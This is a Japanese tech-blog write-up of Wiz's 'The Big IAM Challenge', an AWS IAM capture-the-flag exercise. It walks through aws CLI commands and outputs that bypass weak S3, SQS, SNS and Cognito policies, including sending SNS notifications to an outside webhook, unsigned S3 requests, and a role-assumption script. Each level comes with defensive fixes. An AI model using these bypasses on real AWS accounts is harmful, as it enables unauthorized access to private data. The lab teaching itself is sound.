羅針盤 技術航海日誌

株式会社羅針盤の技術ブログです

Writeup - The Big IAM Challenge


この記事は羅針盤 アドベントカレンダー 2024の11日目の記事です。
qiita.com

10日目の記事は Chrome Extension: Sveltekitで作ってみる (Compass SEO Checker) - 羅針盤 技術航海日誌 でした。

今回は縁あってゲストの方に寄稿していただきました。
GDPRとCCPAに巻き込まれて匿名になってしまったフリースタイル覆面女子レスラーの方からのありがたい寄稿になります。


はじめに

クラウドセキュリティの急成長企業 Wiz (今年はGoogleの買収提案を断ったことでも話題になりました) がAWS IAMのセキュリティに特化したCTF Challengeを公開しています。

www.wiz.io

IAMのセキュリティはクラウドセキュリティの要であり、The Big IAM Challengeは難しい環境構築などもなくAWSのIAMとそのセキュリティを実践的に学べる貴重なリソースです。また、難易度もほどよいため、インフラ・SREチーム向けのセキュリティ社内研修等にも有用かと思います。

この記事はThe Big IAM ChallengeのWriteup (解き方の解説) になります。

※ 完全なネタバレになってしまうので、まずはこの記事を読まず、自分で解いてみることを強くお勧めします!

Challenge 1: Buckets of Fun

We all know that public buckets are risky. But can you find the flag?

という指示だけがあり、サイト上のコンソールには「Start the challenge here, you have the aws cli configured. Try executing: aws sts get-caller-identity」と記載されています。

指示通りにまずはこのコマンドを打ってみると、awsコマンドに認証情報がロードされていることがわかります。

> aws sts get-caller-identity
{
    "UserId": "AROAZSFITKRSYE6ELQP2Q:iam_shell",
    "Account": "657483584613",
    "Arn": "arn:aws:sts::657483584613:assumed-role/shell_basic_iam/iam_shell"
}

以後同様に、Challengeごとに払い出されるIAMを用いてFlagを取れないかあれこれ試すことになります。また、「View IAM Policy」のボタンから、この権限が付与されていることが確認できます。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-storage-9979f4b",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                }
            }
        }
    ]
}

このバケットを覗いてみると、flagのテキストファイルが見つかります。

> aws s3 ls thebigiamchallenge-storage-9979f4b
                           PRE files/
> aws s3 ls thebigiamchallenge-storage-9979f4b/files/
2023-06-05 19:13:53         37 flag1.txt
2023-06-08 19:18:24      81889 logo.png

単純にダウンロードしようとするとRead-only file systemのため失敗します。

> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt ./flag1.txt
download failed: s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt to ./flag1.txt [Errno 30] Read-only file system: '/var/task/flag1.txt.CbCdcf2B'
Completed 37 Bytes/37 Bytes (506 Bytes/s) with 1 file(s) remaining

aws s3 cpコマンドでは - を指定して、ファイルの内容をそのまま標準出力で確認します。

> aws s3 cp s3://thebigiamchallenge-storage-9979f4b/files/flag1.txt -
{wiz:flag-is-redacted-do-it-by-yourself}

このChallengeは特にセキュリティの観点はなく、awsコマンドの基本的な使い方とChallengesのノリを掴むことに焦点が当たっています。

Challenge 2: Google Analytics

SQSの権限が付与されているようです。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": [
                "sqs:SendMessage",
                "sqs:ReceiveMessage"
            ],
            "Resource": "arn:aws:sqs:us-east-1:092297851374:wiz-tbic-analytics-sqs-queue-ca7a1b2"
        }
    ]
}

以下のコマンドでSQSのキューを受信してみると、Bodyにflagが記載されたmessageが確認できます。

aws sqs receive-message --queue-url \
"https://us-east-1.queue.amazonaws.com/092297851374/wiz-tbic-analytics-sqs-queue-ca7a1b2"

ここもまだウォームアップです。

Challenge 3: Enable Push Notifications

ここから歯応えが出てきます。

IAM Policyは通知の送信先が@tbic.wiz.ioで終わる場合のみ、SNS:Subscribeが実行可能、という設定になっています。

{
    "Version": "2008-10-17",
    "Id": "Statement1",
    "Statement": [
        {
            "Sid": "Statement1",
            "Effect": "Allow",
            "Principal": {
                "AWS": "*"
            },
            "Action": "SNS:Subscribe",
            "Resource": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
            "Condition": {
                "StringLike": {
                    "sns:Endpoint": "*@tbic.wiz.io"
                }
            }
        }
    ]
}

以下のように@tbic.wiz.io のメールアドレスを持つ人のみを通知先とする想定のはずです。(別ドメインのメールアドレスを指定すると失敗します。)

> aws sns subscribe \
--topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications \
--protocol email --notification-endpoint test@tbic.wiz.io
{
    "SubscriptionArn": "pending confirmation"
}

この設定をどのように回避してsnsをsubscribeするか、という問題になります。

snsのsubscribeはemailの他にもsmsやhttp/httpsといったプロトコルをサポートしているため、email以外のプロトコルでStringLikeの制限を回避できないでしょうか?

dev.classmethod.jp

emailとは異なり、http/httpsであれば末尾を指定の文字列にすることは比較的容易だと考え、試してみます。 https://webhook.site/ などを用いるか、あるいは自分で簡単なserverを立ててみてください。 (参考: https://gist.github.com/mdonkers/63e115cc0c79b4f6b8b3a6b797e485c7 )

aws sns subscribe --topic-arn arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications --protocol https --notification-endpoint \
https://webhook.site/my-webhook-id?hoge=hoge@tbic.wiz.io

サーバーに次のようなメッセージが受信されるので、SubscribeURLを踏みます。

{
  "Type": "SubscriptionConfirmation",
  "MessageId": "redacted",
  "Token": "redacted",
  "TopicArn": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
  "Message": "You have chosen to subscribe to the topic arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications.\nTo confirm the subscription, visit the SubscribeURL included in this message.",
  "SubscribeURL": "redacted",
  "Timestamp": "2024-11-29T12:52:03.458Z",
  "SignatureVersion": "1",
  "Signature": "redacted",
  "SigningCertURL": "redacted"
}

その後、サーバーに以下のようなflagを含む通知がきます。

{
  "Type": "Notification",
  "MessageId": "redacted",
  "TopicArn": "arn:aws:sns:us-east-1:092297851374:TBICWizPushNotifications",
  "Message": "{wiz:flag-is-redacted-do-it-by-yourself}",
  "Timestamp": "2024-11-29T12:53:08.750Z",
  "SignatureVersion": "1",
  "Signature": "redacted",
  "SigningCertURL": "redacted",
  "UnsubscribeURL": "redacted"
}

このような回避を防ぐには、AWS公式ドキュメントのサンプルにあるように、以下のようなプロトコル指定を入れるべきでしょう。

      "StringEquals": {
        "sns:Protocol": "email"
      }

https://docs.aws.amazon.com/ja_jp/sns/latest/dg/sns-using-identity-based-policies.html

また、一般に * を使う場合にはいろいろな回避方法がありがちな気がします。

Challenge 4: Admin only ?

対象のバケットでs3:GetObjectはできるものの、s3:ListBucketは ForAllValues:StringLike で user/admin だけのアクセスを許可する、といった設定になっているようです。これをどのように回避できるでしょうか。

{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:GetObject",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321/*"
        },
        {
            "Effect": "Allow",
            "Principal": "*",
            "Action": "s3:ListBucket",
            "Resource": "arn:aws:s3:::thebigiamchallenge-admin-storage-abf1321",
            "Condition": {
                "StringLike": {
                    "s3:prefix": "files/*"
                },
                "ForAllValues:StringLike": {
                    "aws:PrincipalArn": "arn:aws:iam::133713371337:user/admin"
                }
            }
        }
    ]
}

ForAllValuesの仕様を公式ドキュメントで確認すると、次のような記載があります。

ForAllValues この限定子は、リクエストセットのすべてのメンバーの値が条件コンテキストキーセットのサブセットであるかどうかをテストします。リクエストのすべてのコンテキストキーバリューが、ポリシーの 1 つ以上のコンテキストキーの値と一致する場合、条件は true を返します。また、リクエストにコンテキストキーがない場合、またはキーバリューが空の文字列などの null データセットに解決される場合は true を返します。

リクエストコンテキストで、コンテキストキーが欠落していたり、値が空であるコンテキストキーが予期せず存在したりすると、許容範囲が広すぎる場合があるため、ForAllValues を Allow 効果で使用する場合は注意してください。

docs.aws.amazon.com

aws:PrincipalArnを空にしてリクエストを送ると、なんとこの判定をtrueにできるようです。

awsコマンドでは —no-sign-request オプションを指定することで aws:PrincipalArn 等が無いリクエストを送ることができます。

> aws s3 ls s3://thebigiamchallenge-admin-storage-abf1321/files/ --no-sign-request
2023-06-07 19:15:43         42 flag-as-admin.txt
2023-06-08 19:20:01      81889 logo-admin.png

そのままcpします。(IAM Policyに明示的に許可設定があったので、まずは —no-sign-request を外しています)

> aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt -
{wiz:flag-is-redacted-do-it-by-yourself}

さらにバケットポリシーが確認できないので原因が定かでないですが、怖いことにGetObjectも--no-sign-requestをつけた状態でもリクエストが通ります…

> aws s3 cp s3://thebigiamchallenge-admin-storage-abf1321/files/flag-as-admin.txt - --no-sign-request
{wiz:flag-is-redacted-do-it-by-yourself}

このForAllValuesの間違いは実世界でも発生しそうなので、ご自身の環境でもForAllValuesをgrepして確認してみるとよいでしょう。

参考事例として、以下のブログではAssumeRoleができるPrincipalをタグで制御する際にForAllValuesを利用しており、「タグがない」PrincipalもAssumeRoleが許可されてしまっていた、という事例が紹介されており参考になります。

tech.layerx.co.jp

Challenge 5: Do I know you?

また、いきなり現れたAWS Cognitoのロゴ画像がIAM Policyに記載されたwiz-privatefilesのバケットから配信されていることがわかります。

`https://wiz-privatefiles.s3.amazonaws.com/cognito1.png?AWSAccessKeyId=...とおそらくCognitoから払い出されたクレデンシャル付きでアクセスしており、[https://wiz-privatefiles.s3.amazonaws.com/cognito1.png`](https://wiz-privatefiles.s3.amazonaws.com/cognito1.png) のみではAccess Deniedとなります。

Cognitoをつかった配信がこのサイト上でおこなわれているということは、ソースコードのどこかにCognitoの設定がありそうなので、探してみるとやはりあります。

<img style="width: 16rem" id="signedImg" class="mx-auto mt-4" src="#" alt="Signed img from S3" />
<script src="https://sdk.amazonaws.com/js/aws-sdk-2.719.0.min.js"></script>
<script>
  AWS.config.region = 'us-east-1';
  AWS.config.credentials = new AWS.CognitoIdentityCredentials({IdentityPoolId: "us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"});
  // Set the region
  AWS.config.update({region: 'us-east-1'});

  $(document).ready(function() {
    var s3 = new AWS.S3();
    params = {
      Bucket: 'wiz-privatefiles',
      Key: 'cognito1.png',
      Expires: 60 * 60
    }

    signedUrl = s3.getSignedUrl('getObject', params, function (err, url) {
      $('#signedImg').attr('src', url);
    });
});
</script>

コンソールのRoleではこのバケットにアクセスできないようなので、IAM PolicyはCognitoから渡された権限に付いているものではないかと推測します。

> aws sts get-caller-identity
{
    "UserId": "AROAZSFITKRSYE6ELQP2Q:iam_shell",
    "Account": "657483584613",
    "Arn": "arn:aws:sts::657483584613:assumed-role/shell_basic_iam/iam_shell"
}

> aws s3 ls s3://wiz-privatefiles/
An error occurred (AccessDenied) when calling the ListObjectsV2 operation: Access Denied

DevToolsのConsoleでAWS.config.credentialsを実行すると、accessKeyId, secretAccessKey, sessionTokenが取得できます。

試しに先ほどのcognito1.pngについていたパラメーターを取り出して、コマンドが実行できます。

export AWS_REGION=us-east-1
export AWS_ACCESS_KEY_ID="redacted"
export AWS_SECRET_ACCESS_KEY="redacted"
export AWS_SESSION_TOKEN="redacted"

❯ aws s3 ls s3://wiz-privatefiles/
2023-06-06 04:42:27       4220 cognito1.png
2023-06-05 22:28:35         37 flag1.txt
❯ aws s3 cp s3://wiz-privatefiles/flag1.txt -
{wiz:flag-is-redacted-do-it-by-yourself}

クライアントサイドに渡す権限は、どう使われるかはコントロールできないため、権限を確実に絞るべきですね。(privateなbucketへのアクセス権を広く持つのは危険)

Challenge 6: One final push

identity pool idはiam policyにて、role arnは問題文で与えられています。

手順に沿って単純にcognitoの認証を通します。

  • aws cognito-identity get-id (ユーザー識別)
    • 本来であればここでログイン処理が行われるが、「認証されていないIDに対してアクセスを有効にする」設定が有効になっているため、—identity-poo-id のみでアクセスできる
  • aws cognito-identity get-open-id-token (OIDCトークンの取得)
    • get-idでとったidentity idを渡す
  • aws sts assume-role-with-web-identity (IAMロールを引き受ける)
    • odic tokenとaws credentialを交換

全体としては以下のようなスクリプトになります。(Powered by ChatGPT)

#!/bin/bash

# パラメータ設定
IDENTITY_POOL_ID="us-east-1:b73cb2d2-0d00-4e77-8e80-f99d9c13da3b"
ROLE_ARN="arn:aws:iam::092297851374:role/Cognito_s3accessAuth_Role"
ROLE_SESSION_NAME="hogehoge"
REGION="us-east-1"

echo "=== Step 1: Get Identity ID ==="
IDENTITY_ID=$(aws cognito-identity get-id \
  --identity-pool-id "$IDENTITY_POOL_ID" \
  --region "$REGION" | jq -r .IdentityId)

if [ -z "$IDENTITY_ID" ]; then
  echo "Failed to get Identity ID"
  exit 1
fi
echo "Identity ID: $IDENTITY_ID"

echo "=== Step 2: Get OpenID Token ==="
OPEN_ID_TOKEN=$(aws cognito-identity get-open-id-token \
  --identity-id "$IDENTITY_ID" \
  --region "$REGION" | jq -r .Token)

if [ -z "$OPEN_ID_TOKEN" ]; then
  echo "Failed to get OpenID Token"
  exit 1
fi
echo "OpenID Token: $OPEN_ID_TOKEN"

echo "=== Step 3: Assume Role with Web Identity ==="
ASSUMED_ROLE=$(aws sts assume-role-with-web-identity \
  --role-arn "$ROLE_ARN" \
  --role-session-name "$ROLE_SESSION_NAME" \
  --web-identity-token "$OPEN_ID_TOKEN" \
  --region "$REGION")

if [ -z "$ASSUMED_ROLE" ]; then
  echo "Failed to assume role"
  exit 1
fi
echo "Assumed Role JSON: $ASSUMED_ROLE"

echo "=== Step 4: Extracting Temporary Credentials ==="
ACCESS_KEY=$(echo "$ASSUMED_ROLE" | jq -r .Credentials.AccessKeyId)
SECRET_KEY=$(echo "$ASSUMED_ROLE" | jq -r .Credentials.SecretAccessKey)
SESSION_TOKEN=$(echo "$ASSUMED_ROLE" | jq -r .Credentials.SessionToken)

echo "export AWS_ACCESS_KEY_ID=$ACCESS_KEY"
echo "export AWS_SECRET_ACCESS_KEY=$SECRET_KEY"
echo "export AWS_SESSION_TOKEN=$SESSION_TOKEN"

echo "All steps completed successfully."

このクレデンシャルを使って、これまでのようにs3 lsをできます。

❯ aws s3 ls
2024-06-06 15:21:35 challenge-website-storage-1fa5073
2024-06-06 17:25:59 payments-system-cd6e4ba
2023-06-05 02:07:29 tbic-wiz-analytics-bucket-b44867f
2023-06-05 22:07:44 thebigiamchallenge-admin-storage-abf1321
2023-06-05 01:31:02 thebigiamchallenge-storage-9979f4b
2023-06-05 22:28:31 wiz-privatefiles
2023-06-05 22:28:31 wiz-privatefiles-x1000

❯ aws s3 ls s3://wiz-privatefiles-x1000
2023-06-06 04:42:27       4220 cognito2.png
2023-06-05 22:28:35         40 flag2.txt
❯ aws s3 cp s3://wiz-privatefiles-x1000/flag2.txt -
{wiz:flag-is-redacted-do-it-by-yourself}

Cognito認証済みユーザーのみアクセスできるリソースだったとしても、単にログインさえすればアクセスできてしまうのは実質的に全公開されているのと変わらない、ということを言いたい問題でしょうか。

Challenge 5, 6 はCognitoで発生し得る問題のさわり、という感じでしたが、より深く勉強したい場合はFlatt Securityさんのこちらの記事もおすすめです!

blog.flatt.tech

Appendix

The Big IAM Challengeが面白いと思った方は、以下も気に入るかもしれません。

(ちなみにflaws.cloudの作者のScott PiperさんもWizで働いているようです)

Wizはその他の分野のCTFも公開しており、興味がある方はこちらも触ってみると面白そうです。